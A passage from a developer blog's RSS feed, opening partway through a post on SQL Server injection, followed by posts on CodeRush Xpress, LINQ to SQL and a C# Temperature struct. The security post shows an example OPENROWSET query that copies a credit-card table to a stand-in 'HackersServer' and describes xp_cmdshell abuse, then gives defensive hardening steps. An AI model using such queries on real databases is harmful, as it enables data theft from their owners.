color="#008000">sys.columns</font><br /></pre><p>Let's analyze what happened here. The <a rel="external" href="http://msdn.microsoft.com/en-us/library/ms190312.aspx" title="MSDN - OPENROWSET (Transact-SQL)"><span class="keyword">OPENROWSET</span></a> function allows access to a remote data source. SQL Server calls this an <em>ad hoc distributed query</em>. When your SQL Server is connected to the internet, using this construct, the hacker can open a connection to his own server. Please don't think you can stop this by disallowing SQL Server port 1433 on your firewall; The hacker can use any port he wants. The hacker can use the <span class="keyword">OPENROWSET</span> command to &lsquo;ping&rsquo; his own server to find out if his SQL injection has any effect. This way he doesn't need any error messages returned from the web server to find out if the SQL injection succeeded.<br /><br />With the two <span class="keyword">INSERT</span> statements shown above, the hacker inserted the definition of all your database objects (such as tables and views) and their columns into his own database. The hacker can than use this information to rebuild the definition of your database on his own server and copy all the data from the hacked server to his own. The next step is to copy (all your sensitive business) data to the remote server. The query below is an example of what the hacker could execute:</p><pre><font color="#0000ff">INSERT INTO OPENROWSET</font>(<font color="#ff0000">'SQLoledb'</font>,<br /><font color="#ff0000">'server=HackersServer;uid=sa;pwd=hackersPwd'</font>, <br /><font color="#ff0000">'select * from hacked_creditcardnumbers'</font>)<br /><font color="#0000ff">SELECT </font>* <font color="#0000ff">FROM </font>creditcardnumbers<br /></pre><p>After the hacker finds out that your database contains a table named &lsquo;creditcardnumbers&rsquo;, the hacker can create a table named 'hacked_creditcardnumbers' in his own database, after which he will execute the given statement. He could (and probably will) repeat this for all (interesting) tables in your database.<br /><br />To be clear about this: The <span class="keyword">OPENROWSET</span> functionality is enabled by default in SQL Server 2000 can be used by normal database logins with no particular rights (you don&rsquo;t have to be logged in as a database owner or system administrator for this to work). With SQL Server 2005, Microsoft has disabled this feature by default, but you should make sure that this feature is disabled on your server. I will show at the end of this article how to disable this feature. I hope you see that &ndash;especially with the ad hoc distributed query functionality&ndash; a single SQL injection vulnerability could easily be exploited by a hacker to copy your very sensitive business data!<br /><br />But it could easily get worse, (and that's the case) when you actually did connect to your database using the &lsquo;sa&rsquo; user. &lsquo;sa&rsquo; Privileges allow someone to execute stored procedures like <a rel="external" href="http://msdn.microsoft.com/en-us/library/ms175046.aspx" title="MSDN - xp_cmdshell (Transact-SQL)">xp_cmdshell</a> and <a rel="external" href="http://www.mssqlcity.com/FAQ/Devel/xp_regwrite.htm" title="mssqlcity.com - How do I write to the registry via Transact-SQL?">xp_regwrite</a>. These procedures allow you to execute literally any program from the file system and change anything in the windows registry. The hacker could even download any binary file from his own server, store it on the database server&rsquo;s file system, register it through the windows register and run it! Please note that while running within the context of the system administrator account, a hacker can also re-enable the ad hoc distributed query functionality and (again) start copying the data.<br /><br />Let's make it clear: <strong>The hacker will have full control over your server</strong> when he exploits a vulnerability in the context of the system administrator (sa) user account! <br /><br />To make things worse; When connected to the database using a non-privileged login account, it could still be possible that the hacker exploits a known or unknown SQL server vulnerability to elevate privileges to gain full control. While the security of SQL Server (or any database servers by any other vendor that is) is getting better, those flaws <a rel="external" href="http://www.networkworld.com/news/2008/122308-microsoft-warns-of-sql.html" title="Network World - Microsoft warns of SQL attack - 12/23/2008">still</a> pop-up.<br /><br />The bottom line is: please don&rsquo;t underestimate SQL injection attacks, because a single successful injection could lead to a compromised server and theft of sensitive business data. You don&rsquo;t want to be the developer responsible for this exploited leak.</p><h5>Mitigating The Risks</h5><p>Now that we know the dangers, here are 6 steps that help you mitigate the risks.</p><h6>Step 1<a name="Step1" title="Step1"></a></h6><p>Never connect to the database using the &lsquo;sa&rsquo; account. Use a custom account and give it just enough rights. Personally, I prefer a security model where each application role gets it&rsquo;s own SQL login with only the rights it needs. This is not always feasible, for instance when the rights of each role are very dynamic and must be configurable.</p>  <h6>Step 2<a name="Step2" title="Step2"></a></h6>  <p>Make sure it&rsquo;s impossible to execute ad hoc distributed queries, like the ones shown above. SQL Server 2005 has disabled this by default, but SQL Server 2000 hasn&rsquo;t. Note that this configuration is at server level only. Unfortunately it&rsquo;s not an account policy. When you need ad hoc queries, I advise you to temporarily enable them, run your query, and disable them again. This limits the time frame an attacker could abuse it. And again, disabling this feature is useless when your application connects to the database using the &lsquo;sa&rsquo; account.</p> <p>To check whether ad hoc distributed queries are enabled, run the following query:</p>  <pre><font color="#0000ff"><font color="#993300">SP_CONFIGURE</font> </font><font color="#ff0000">'Ad Hoc Distributed Queries</font><font color="#ff0000">'</font><br /></pre>  <p>The columns &lsquo;config_value&rsquo; and &lsquo;run_value&rsquo; of the stored procedures results set should have a value of 0. Otherwise run this query to correct it:</p><pre><font color="#0000ff"><font color="#993300">SP_CONFIGURE</font> </font><font color="#ff0000">'Ad Hoc Distributed Queries</font><font color="#ff0000">'<font color="#000000">, 0</font></font></pre><p>After you disabled the ad hoc distributed queries functionality, you should get the following error message when executing the articles first query:</p><blockquote><font color="#ff0000">Msg 15281, Level 16, State 1, Line 1<br />SQL Server blocked access to STATEMENT 'OpenRowset/OpenDatasource' of component 'Ad Hoc Distributed Queries' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'Ad Hoc Distributed Queries' by using sp_configure. For more information about enabling 'Ad Hoc Distributed Queries', see &quot;Surface Area Configuration&quot; in SQL Server Books Online.</font><br /></blockquote>  <h6>Step 3<a name="Step3" title="Step3"></a></h6>  <p>Optionally use automated tooling to check for vulnerabilities in your code base. The integrated code analysis of Visual Studio 2010 for instance, <a rel="external" href="http://blogs.msdn.com/fxcop/archive/2008/10/30/new-code-analysis-features-in-visual-studio-2010-september-08-ctp.aspx" title="The Visual Studio Code Analysis Team Blog - New Code Analysis Features in Visual Studio 2010 September '08 CTP">will</a> have rules for finding SQL injection vulnerabilities.</p>  <h6>Step 4<a name="Step4" title="Step4"></a></h6>  <p>Make sure you log every exception to a data store and view logged events on a regular basis. When you&rsquo;re looking for a simple and pluggable logging framework for .NET, please take a look at <a rel="external" href="http://logging.codeplex.com" title="CuttingEdge.Logging - a simple and pluggeble logging framework for .NET 2.0">CuttingEdge.Logging</a>. When you log exceptions to a database, give logins only insert rights to the log table to prevent a hacker from erasing his tracks.</p>  <h6>Step 5<a name="Step5" title="Step5"></a></h6>  <p>Create security guidelines and an application architecture that protects you against injection attacks (and other security risks). Those guidelines should at least state that <a rel="external" href="http://davidhayden.com/blog/dave/archive/2005/10/24/2528.aspx" title="David Hayden - SQL Injection Attacks - Parameterized Queries - Regular Expressions - ASP.NET Security Best Practices">parameterized queries</a> should be used as much as possible (if not always).</p>  <h6>Step 6<a name="Step6" title="Step6"></a></h6>  <p>Use code reviews to find flaws in your software before it is released. This is very important, because you can&rsquo;t fully rely on automated tools or your database security configuration. Please use parameterized queries as much as possible and also review your stored procedures, because they are also vulnerable to injection attacks. Also make sure you avoid <a rel="external" href="http://msdn.microsoft.com/en-us/magazine/cc163523.aspx" title="MSDN - SQL Security - New SQL Truncation Attacks And How To Avoid Them">SQL Truncation attacks</a>.</p><h6>More information<a name="MoreInformation" title="MoreInformation"></a></h6><p>You can find detailed information about SQL Injection using ad hoc distributed queries in the following PDF document: <a rel="external" href="http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf" title="Application Security, Inc. - Manipulating Microsoft SQL Server Using SQL Injection">Manipulating Microsoft SQL Server Using SQL Injection</a>.</p><p>Good luck!</p> ]]></description>
			<guid isPermaLink="false">44@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Databases, Security, SQL</category>
			<pubDate>Wed, 14 Jan 2009 22:13:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Microsoft and DevExpress announce free CodeRush Xpress for C#</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=43</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=43#comm</comments>
                        <description><![CDATA[ This was announced some time ago at the PDC2008, but I just found out after watching the PDC session on <a rel="external" href="http://channel9.msdn.com/pdc2008/TL46/" title="PDC2008 - Microsoft Visual C# IDE: Tips and Tricks">Tips And Tracks For The Visal C# IDE</a>.<a rel="external" href="http://www.devexpress.com/Home/Announces/CodeRushXpress.xml" title="Devexpress - Announcing CodeRush Xpress for C# Developers">CodeRush</a> is a extension for the Visual Studio IDE that improves productivity while coding. It's comparable to <a rel="external" href="http://www.jetbrains.com/resharper/" title="JetBrains ReSharper">JetBrains' ReSharper</a>, or as DevExpress puts it: <blockquote>CodeRush Xpress is a comprehensive IDE Productivity toolset specifically designed to help you simplify and shape complex code &ndash; making it easier to read and less costly to maintain.</blockquote> <p>There's also a <a rel="external" href="http://www.devexpress.com/Products/Visual_Studio_Add-in/RefactorASP" title="Devexpress - Refactor! for ASP.NET">free ASP.NET version</a>.</p><p>Have fun.</p> ]]></description>
			<guid isPermaLink="false">43@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>C#, Visual Studio</category>
			<pubDate>Tue, 23 Dec 2008 18:49:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>The death of LINQ to SQL</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=42</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=42#comm</comments>
                        <description><![CDATA[ The Microsoft ADO.NET team blog made an important announcement yesterday about the future of LINQ to SQL.The ADO.NET team <a rel="external" href="http://blogs.msdn.com/adonet/archive/2008/10/31/clarifying-the-message-on-l2s-futures.aspx" title="ADO.NET team blog - Clarifying the message on L2S Futures.">announced</a> that Microsoft will continue to make some investments in LINQ to SQL, but they also made it pretty clear that LINQ to Entities is the recommended data access solution in the future frameworks. Microsoft will invest heavily in the Entity Framework.<br /><br />I always wondered why Microsoft focused on two different O/RM technologies for the .NET framework. Some say LINQ to SQL was an intermediate solution. Fact is that LINQ to SQL was made by the C# team, instead of the ADO.NET team. It was of great importance for the C# team to release an O/RM mapper together with their new LINQ technology. Without a LINQ to databases implementation, the C# team would have a hard time evangelizing LINQ.<br /><br />While LINQ to Entities is far more advanced than LINQ to SQL, the latter has some interesting features that LINQ to Entities lacks. Microsoft will add those missing features to the Entity Framework in .NET 4.0. In the meantime, I still see LINQ to SQL as a valuable solution for smaller projects or less experienced development teams. The bar for LINQ to Entities is currently too high for them.<br /><br />There seems to be a <a rel="external" href="http://weblogs.asp.net/fredriknormen/archive/2008/11/01/bring-linq-to-sql-down.aspx" title="Fredrik Norm&eacute;n's blog - Bring LINQ to SQL down">discussion</a> about whether LINQ to SQL should be removed from the framework. Don't be alarmed, because this won't happen. Microsoft would never break the backwards compatibility in such a severe way. ]]></description>
			<guid isPermaLink="false">42@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, ADO.NET, C#, Databases, LINQ, SQL</category>
			<pubDate>Sat, 01 Nov 2008 18:55:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>A Temperature struct for .NET</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=41</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=41#comm</comments>
                        <description><![CDATA[ Did you ever wonder why .NET doesn't have a Temperature type? I suppose not, because I didn't find any implementation of such a thing on the internet.<p>I was working on documentation for <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38" target="_blank" title=".NET Junkie - Introducing CuttingEdge.Conditions">CuttingEdge.Conditions</a>, when I thought it would be nice to show some code samples using a Temperature class. However I noticed, there isn't such a thing in the .NET framework. That isn't that odd, because did you ever need a Temperature class? I didn't. After some tinkering I noticed my lovely Temperature class was becoming bigger and bigger. To big to be useful in documentation, so I decided to go for a simpler example :-). The Temperature type is a struct that can be used as follows:</p><pre class="cs" language="csharp" customtypes="Console CultureInfo" customvaluetypes="Temperature">Temperature dutchTemperature = Temperature.FromCelsius(16);<br />Temperature niceTemperature = Temperature.FromFahrenheit(88);<br /><br />// Print the temperature in a culture sensitive way:<br /><br />// Then next line Prints &quot;60.8 &deg;F&quot; when the culture is en-US<br />// and &quot;16 &deg;C&quot; when the culture is en-GB.<br />Console.WriteLine(dutchTemperature);<br /><br />// The next line Prints &quot;88 &deg;F&quot; when the culture is en-US<br />// and &quot;31.11 &deg;C&quot; when the culture is en-GB.<br />Console.WriteLine(niceTemperature);<br /><br />// Prints out &quot;15.1111&quot; <br />Console.WriteLine(&quot;Difference in celsius: {0}&quot;, <br />    niceTemperature.Celsius - dutchTemperature.Celsius);<br /><br />// Prints out &quot;27.2&quot; <br />Console.WriteLine(&quot;Difference in fahrenheit: {0}&quot;, <br />    niceTemperature.Fahrenheit - dutchTemperature.Fahrenheit);<br /><br />Temperature evenColder =<br />    Temperature.FromFahrenheit(dutchTemperature.Fahrenheit - 20.0);<br /><br />Console.WriteLine(&quot;Dutch winters:&quot;);<br />Console.WriteLine(&quot;  in fahrenheit: {0:F}&quot;, evenColder);<br />Console.WriteLine(&quot;  in celsius: {0:C}&quot;, evenColder);<br />Console.WriteLine(&quot;  in kelvin: {0:K}&quot;, evenColder);</pre> <p>And here is the actual code of Temperature struct:</p> <pre class="cs" language="csharp" customtypes="PostconditionException ComVisible CultureInfo" customvaluetypes="Temperature TemperatureScale">using System;<br />using System.Globalization;<br />using System.Runtime.InteropServices;<br /><br />using CuttingEdge.Conditions;<br /><br />/// &lt;summary&gt;<br />/// Represents a temperature.<br />/// &lt;/summary&gt;<br />[Serializable, ComVisible(true)]<br />public struct Temperature : IComparable, IFormattable,<br />    IComparable&lt;Temperature&gt;, IEquatable&lt;Temperature&gt;<br />{<br />    /// &lt;summary&gt;<br />    /// Represents the smallest possible value of &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// This field is read-only.<br />    /// &lt;/summary&gt;<br />    public static readonly Temperature MinValue =<br />        new Temperature(0);<br /><br />    /// &lt;summary&gt;<br />    /// Represents the biggest possible value of <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;. This field is read-only.<br />    /// &lt;/summary&gt;<br />    public static readonly Temperature MaxValue =<br />        new Temperature(Double.MaxValue);<br /><br />    // Sarray with all countries that use fahrenheit.<br />    private static readonly string[] fahrenheitCultures = { &quot;en-US&quot; };<br /><br />    // The internal state is a double containing the Kelvin value.<br />    private readonly double kelvin;<br /><br />    /// &lt;summary&gt;<br />    /// Initializes a new instance of the Temperature struct.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;kelvin&quot;&gt;The kelvin value.&lt;/param&gt;<br />    public Temperature(double kelvin)<br />    {<br />        kelvin.Requires(&quot;kelvin&quot;).IsGreaterOrEqual(0);<br /><br />        this.kelvin = kelvin;<br />    }<br /><br />    private enum TemperatureScale<br />    {<br />        Celsius,<br />        Fahrenheit,<br />        Kelvin<br />    }<br /><br />    /// &lt;summary&gt;Gets the temperature in Fahrenheit.&lt;/summary&gt;<br />    public double Fahrenheit<br />    {<br />        get { return Converter.FromKelvinToFahrenheit(this.kelvin); }<br />    }<br /><br />    /// &lt;summary&gt;Gets the temperature in Celsius.&lt;/summary&gt;<br />    public double Celsius<br />    {<br />        get { return Converter.FromKelvinToCelsius(this.kelvin); }<br />    }<br /><br />    /// &lt;summary&gt;Gets the temperature in Kelvin.&lt;/summary&gt;<br />    public double Kelvin<br />    {<br />        get { return this.kelvin; }<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the specified double, which contains a celsius value,<br />    /// to the equivalent &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;celsius&quot;&gt;The celsius value.&lt;/param&gt;<br />    /// &lt;returns&gt;A &lt;see cref=&quot;Temperature&quot;/&gt; that is the equivalent of <br />    /// &lt;paramref name=&quot;celsius&quot;/&gt;.&lt;/returns&gt;<br />    public static Temperature FromCelsius(double celsius)<br />    {<br />        celsius.Requires(&quot;celcius&quot;)<br />            .IsGreaterOrEqual(-1 * Converter.ZeroDegreesCelsiusInKelvin);<br /><br />        double kelvin = Converter.FromCelsiusToKelvin(celsius);<br /><br />        return new Temperature(kelvin);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the specified double, which contains a fahrenheit value,<br />    /// to the equivalent &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;fahrenheit&quot;&gt;The fahrenheit value.&lt;/param&gt;<br />    /// &lt;returns&gt;A &lt;see cref=&quot;Temperature&quot;/&gt; that is the equivalent of <br />    /// &lt;paramref name=&quot;fahrenheit&quot;/&gt;.&lt;/returns&gt;<br />    public static Temperature FromFahrenheit(double fahrenheit)<br />    {<br />        fahrenheit.Requires(&quot;fahrenheit&quot;)<br />            .IsGreaterOrEqual(-1 * Converter.KelvinToFahrenheitOffset);<br /><br />        double kelvin = Converter.FromFahrenheitToKelvin(fahrenheit);<br /><br />        return new Temperature(kelvin);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the specified double, which contains a fahrenheit value,<br />    /// to the equivalent &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;kelvin&quot;&gt;The fahrenheit value.&lt;/param&gt;<br />    /// &lt;returns&gt;A &lt;see cref=&quot;Temperature&quot;/&gt; that is the equivalent of <br />    /// &lt;paramref name=&quot;fahrenheit&quot;/&gt;.&lt;/returns&gt;<br />    public static Temperature FromKelvin(double kelvin)<br />    {<br />        kelvin.Requires(&quot;kelvin&quot;)<br />            .IsGreaterOrEqual(Converter.KelvinMinimumValue);<br /><br />        return new Temperature(kelvin);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the string representation of a &lt;see cref=&quot;Temperature&quot;/&gt;<br />    /// equivalent. A return value indicates whether the conversion <br />    /// succeeded or failed.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;s&quot;&gt;A string containing a temperature to convert.&lt;/param&gt;<br />    /// &lt;param name=&quot;result&quot;&gt;When this method returns, contains the <br />    /// temperature equivalent to the s parameter, if the conversion <br />    /// succeeded, or &lt;see cref=&quot;Temperature.MinValue&quot;/&gt; if the <br />    /// conversion failed. The conversion fails if the s parameter is <br />    /// null, is not a temperature in a valid format, or represents a <br />    /// number less than &lt;see cref=&quot;Temperature.MinValue&quot; /&gt; or greater <br />    /// than &lt;see cref=&quot;Temperature.MaxValue&quot;/&gt;. This parameter is <br />    /// passed uninitialized.&lt;/param&gt;<br />    /// &lt;returns&gt;true if s was converted successfully; otherwise, false.&lt;/returns&gt;<br />    public static bool TryParse(string s, out Temperature result)<br />    {<br />        return TryParse(s, null, out result);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the string representation of a &lt;see cref=&quot;Temperature&quot;/&gt;<br />    /// equivalent. A return value indicates whether the conversion <br />    /// succeeded or failed.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;s&quot;&gt;A string containing a temperature to convert.&lt;/param&gt;<br />    /// &lt;param name=&quot;provider&quot;&gt;The format provider; or null.&lt;/param&gt;<br />    /// &lt;param name=&quot;result&quot;&gt;When this method returns, contains the <br />    /// temperature equivalent to the s parameter, if the conversion <br />    /// succeeded, or &lt;see cref=&quot;Temperature.MinValue&quot;/&gt; if the <br />    /// conversion failed. The conversion fails if the s parameter is <br />    /// null, is not a temperature in a valid format, or represents a <br />    /// number less than &lt;see cref=&quot;Temperature.MinValue&quot; /&gt; or greater <br />    /// than &lt;see cref=&quot;Temperature.MaxValue&quot;/&gt;. This parameter is <br />    /// passed uninitialized.&lt;/param&gt;<br />    /// &lt;returns&gt;true if s was converted successfully; otherwise, false.&lt;/returns&gt;<br />    public static bool TryParse(string s, IFormatProvider provider,<br />        out Temperature result)<br />    {<br />        s.Requires(&quot;s&quot;).IsNotNullOrEmpty();<br /><br />        s = s.Trim();<br /><br />        string[] parts;<br /><br />        if (s.Contains(&quot;&deg;&quot;))<br />        {<br />            parts = s.Split('&deg;');<br />        }<br />        else<br />        {<br />            parts = s.Split(' ');<br /><br />            // When the string contains multiple spaces in the middle, <br />            // we remove them.<br />            if (parts.Length &gt; 2)<br />            {<br />                parts = new string[2] { parts[0], parts[parts.Length - 1] };<br />            }<br />        }<br /><br />        if (parts.Length == 2)<br />        {<br />            string number = parts[0].Trim();<br />            string scale = parts[1].Trim();<br /><br />            if (number.Length &gt; 0 &amp;&amp; scale.Length == 1)<br />            {<br />                double value;<br /><br />                bool validDouble = Double.TryParse(number,<br />                    NumberStyles.Any, provider, out value);<br /><br />                if (validDouble)<br />                {<br />                    if (scale == &quot;K&quot; || scale == &quot;k&quot;)<br />                    {<br />                        result = Temperature.FromKelvin(value);<br />                        return true;<br />                    }<br />                    else if (scale == &quot;F&quot; || scale == &quot;f&quot;)<br />                    {<br />                        result = Temperature.FromFahrenheit(value);<br />                        return true;<br />                    }<br />                    else if (scale == &quot;C&quot; || scale == &quot;c&quot;)<br />                    {<br />                        result = Temperature.FromCelsius(value);<br />                        return true;<br />                    }<br />                }<br />            }<br />        }<br /><br />        result = Temperature.MinValue;<br />        return false;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts the string representation of a number to its <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; equivalent.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;s&quot;&gt;A string containing a temperature to convert.&lt;/param&gt;<br />    /// &lt;returns&gt;A &lt;see cref=&quot;Temperature&quot;/&gt; equivalent to the <br />    /// temperature contained in s.&lt;/returns&gt;<br />    public static Temperature Parse(string s)<br />    {<br />        return Temperature.Parse(s, null);<br />    }<br /><br />    /// &lt;summary&gt;<br />    ///  Converts the string representation of a number to its <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; equivalent.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;s&quot;&gt;A string containing a temperature to convert.&lt;/param&gt;<br />    /// &lt;param name=&quot;provider&quot;&gt;An System.IFormatProvider that supplies <br />    /// culture-specific formatting information about s.&lt;/param&gt;<br />    /// &lt;returns&gt;A &lt;see cref=&quot;Temperature&quot;/&gt; equivalent to the <br />    /// temperature contained in s.&lt;/returns&gt;<br />    public static Temperature Parse(string s, IFormatProvider provider)<br />    {<br />        s.Requires(&quot;s&quot;).IsNotNullOrEmpty();<br /><br />        Temperature result;<br /><br />        bool valid = Temperature.TryParse(s, provider, out result);<br /><br />        if (!valid)<br />        {<br />            throw new FormatException(<br />                &quot;Input string was not in a correct format&quot;);<br />        }<br /><br />        return result;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts an &lt;see cref=&quot;Temperature&quot;/&gt; to a <br />    /// &lt;see cref=&quot;System.Double&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;value&quot;&gt;The temperature&lt;/param&gt;<br />    /// &lt;returns&gt;A double containing the &lt;see cref=&quot;Temperature.Kelvin&quot;/&gt;<br />    /// value of the supplied &lt;paramref name=&quot;value&quot;/&gt;.&lt;/returns&gt;<br />    public static explicit operator double(Temperature value)<br />    {<br />        // NOTE: We can not let this be an implicit operator, <br />        // because this could lead to unexpected behavior.<br />        return value.kelvin;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Converts an &lt;see cref=&quot;Temperature&quot;/&gt; to a <br />    /// &lt;see cref=&quot;System.Double&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;value&quot;&gt;The temperature&lt;/param&gt;<br />    /// &lt;returns&gt;A double containing the &lt;see cref=&quot;Temperature.Kelvin&quot;/&gt;<br />    /// value of the supplied &lt;paramref name=&quot;value&quot;/&gt;.&lt;/returns&gt;<br />    /// &lt;exception cref=&quot;ArgumentOutOfRangeException&quot;&gt;<br />    /// Thrown when &lt;paramref name=&quot;value&quot;/&gt; is negative.&lt;/exception&gt;<br />    public static explicit operator Temperature(double value)<br />    {<br />        return new Temperature(value);<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether two instances of <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; are equal.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 and t2 are equal; otherwise, false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator ==(Temperature t1, Temperature t2)<br />    {<br />        return t1.Equals(t2);<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether two instances of <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; are not equal.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 and t2 are not equal; otherwise, false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator !=(Temperature t1, Temperature t2)<br />    {<br />        return !t1.Equals(t2);<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether a specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; is less than another specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 is less than t2; otherwise, false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator &lt;(Temperature t1, Temperature t2)<br />    {<br />        return t1.CompareTo(t2) &lt; 0;<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether a specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; is less than or equal to another <br />    /// specified &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 is less than or equal to t2; otherwise, <br />    /// false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator &lt;=(Temperature t1, Temperature t2)<br />    {<br />        return t1.CompareTo(t2) &lt;= 0;<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether a specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; is greater than another specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 is greater than t2; otherwise, false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator &gt;(Temperature t1, Temperature t2)<br />    {<br />        return t1.CompareTo(t2) &gt; 0;<br />    }<br /><br />    /// &lt;summary&gt;Returns a value indicating whether a specified <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt; is greater than or equal to another <br />    /// specified &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/summary&gt;<br />    /// &lt;returns&gt;true if t1 is greater than or equal to t2; otherwise, <br />    /// false.&lt;/returns&gt;<br />    /// &lt;param name=&quot;t2&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    /// &lt;param name=&quot;t1&quot;&gt;A &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/param&gt;<br />    public static bool operator &gt;=(Temperature t1, Temperature t2)<br />    {<br />        return t1.CompareTo(t2) &gt;= 0;<br />    }<br /><br />    /// &lt;summary&gt;Returns the hash code for this instance.&lt;/summary&gt;<br />    /// &lt;returns&gt;<br />    /// A 32-bit signed integer that is the hash code for this instance.<br />    /// &lt;/returns&gt;<br />    public override int GetHashCode()<br />    {<br />        return this.kelvin.GetHashCode();<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns a string representation of the current <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;returns&gt;&lt;see cref=&quot;String&quot;/&gt; that represents the current <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/returns&gt;<br />    public override string ToString()<br />    {<br />        return this.ToString(null, CultureInfo.CurrentCulture);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns a string representation of the current <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;format&quot;&gt;The &lt;see cref=&quot;String&quot;/&gt; specifying the format<br />    /// to use.-or- null to use the default format.&lt;/param&gt;<br />    /// &lt;returns&gt;&lt;see cref=&quot;String&quot;/&gt; that represents the current <br />    /// &lt;see cref=&quot;Temperature&quot;/&gt;.&lt;/returns&gt;<br />    public string ToString(string format)<br />    {<br />        return this.ToString(format, CultureInfo.CurrentCulture);<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Formats the value of the current instance using the specified<br />    /// provider.<br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;formatProvider&quot;&gt;The &lt;see cref=&quot;IFormatProvider&quot;/&gt; to<br />    /// use to format the value.-or- null to obtain the numeric format <br />    /// information from the current locale setting of the operating <br />    /// system.&lt;/param&gt;<br />    /// &lt;returns&gt;<br />    /// A &lt;see cref=&quot;String&quot;/&gt; containing the value of the current <br />    /// instance in the specified format.<br />    /// &lt;/returns&gt;<br />    public string ToString(IFormatProvider formatProvider)<br />    {<br />        return this.ToString(null, formatProvider);<br />    }<br 